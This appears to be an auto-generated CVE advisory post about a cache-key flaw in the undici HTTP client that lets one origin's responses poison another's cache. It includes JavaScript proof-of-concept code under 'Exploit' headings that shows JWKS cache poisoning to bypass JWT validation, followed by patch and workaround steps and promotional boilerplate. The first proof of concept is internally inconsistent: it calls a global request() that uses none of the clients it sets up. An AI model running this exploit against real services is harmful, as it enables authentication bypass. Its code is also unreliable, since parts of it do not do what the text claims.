Undici, Cache Poisoning and Origin Validation Error, CVE-2026-85152 (High) -DC-Sep2026-2631

Listen to this Post

CVE-2026-85152 is a high-severity origin validation error in the undici HTTP client library that allows cross-origin cache poisoning and information disclosure. The vulnerability was introduced in undici 8.10.0 and affects versions 8.10.0 and 8.10.1, with a patch available in 8.10.2.
The flaw resides in how undici’s `interceptors.cache()` and `interceptors.deduplicate()` construct internal keys for caching and request deduplication. When these interceptors are composed directly onto a `Client` or `Pool` instance, the internal cache key omits the destination origin and falls back to an empty origin string. This means that requests to different origins—but with identical methods, paths, and relevant headers—are treated as equivalent by the cache and deduplication logic.
If a cache store or interceptor instance is shared across more than one origin, an attacker who controls the response from one origin can have that response returned for a request to a different, trusted origin. This enables cross-origin information disclosure and persistent cache poisoning. In a demonstrated attack chain, a JWT signed with an attacker-controlled key was accepted as belonging to a trusted issuer, effectively bypassing authentication because the trusted origin was never contacted.
The root cause is a regression in undici 8.10.0 where the interceptor identities are derived from caller-controlled request metadata rather than the authoritative dispatcher origin. Applications using an `Agent` are not affected because the agent’s dispatch options include the request origin.

DailyCVE Form:

Platform: undici
Version: 8.10.0-8.10.1
Vulnerability : Cache Poisoning
Severity: High
date: 2026-09-04

Prediction: 2026-09-18

What Undercode Say:

Install vulnerable version
npm install [email protected]
Verify affected version
npm list undici
// Vulnerable pattern: shared cache across origins
const { Client, interceptors } = require('undici');
const client = new Client('https://attacker.example');
client.compose(interceptors.cache());
// Same cache store used for trusted origin
const trustedClient = new Client('https://trusted.example');
trustedClient.compose(interceptors.cache());
// PoC: JWT cache poisoning
const { request } = require('undici');
// Attacker-controlled origin returns a malicious JWKS response
const attackerResponse = await request('https://attacker.example/.well-known/jwks.json');
// Trusted origin request returns the cached attacker response
const trustedResponse = await request('https://trusted.example/.well-known/jwks.json');
// The cached response from the attacker origin is served
console.log(await trustedResponse.body.json());

Exploit: (Educational Purposes!)

// Demonstrating origin key collision in undici cache
const { Client, interceptors } = require('undici');
const cacheStore = new Map();
// Client 1: attacker-controlled origin
const attackerClient = new Client('https://attacker.example', {
interceptors: [interceptors.cache({ store: cacheStore })]
});
// Client 2: trusted origin sharing the same cache store
const trustedClient = new Client('https://trusted.example', {
interceptors: [interceptors.cache({ store: cacheStore })]
});
// Both requests use the same method, path, and headers
await attackerClient.request({
method: 'GET',
path: '/.well-known/jwks.json'
});
// The cached response from attacker origin is returned for the trusted origin
const poisoned = await trustedClient.request({
method: 'GET',
path: '/.well-known/jwks.json'
});
console.log('Poisoned response:', await poisoned.body.text());

Protection: from this CVE

Upgrade to patched version
npm install [email protected]
Verify patched version
npm list undici
// Workaround: separate cache stores per origin
const { Client, interceptors } = require('undici');
const attackerCache = new Map();
const trustedCache = new Map();
const attackerClient = new Client('https://attacker.example', {
interceptors: [interceptors.cache({ store: attackerCache })]
});
const trustedClient = new Client('https://trusted.example', {
interceptors: [interceptors.cache({ store: trustedCache })]
});
// Recommended: use Agent which carries origin in dispatch options
const { Agent, request } = require('undici');
const agent = new Agent();
// Agent correctly includes origin in cache keys
await request('https://trusted.example/.well-known/jwks.json', {
dispatcher: agent
});

Impact:

Applications that share `interceptors.cache()` or `interceptors.deduplicate()` state across origins are affected. The vulnerability permits cross-origin information disclosure and persistent cache poisoning, including chains such as JWKS cache poisoning where a token signed with an attacker-held key is accepted as belonging to a trusted issuer. An `Agent` is not affected, because its dispatch options include the request origin.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top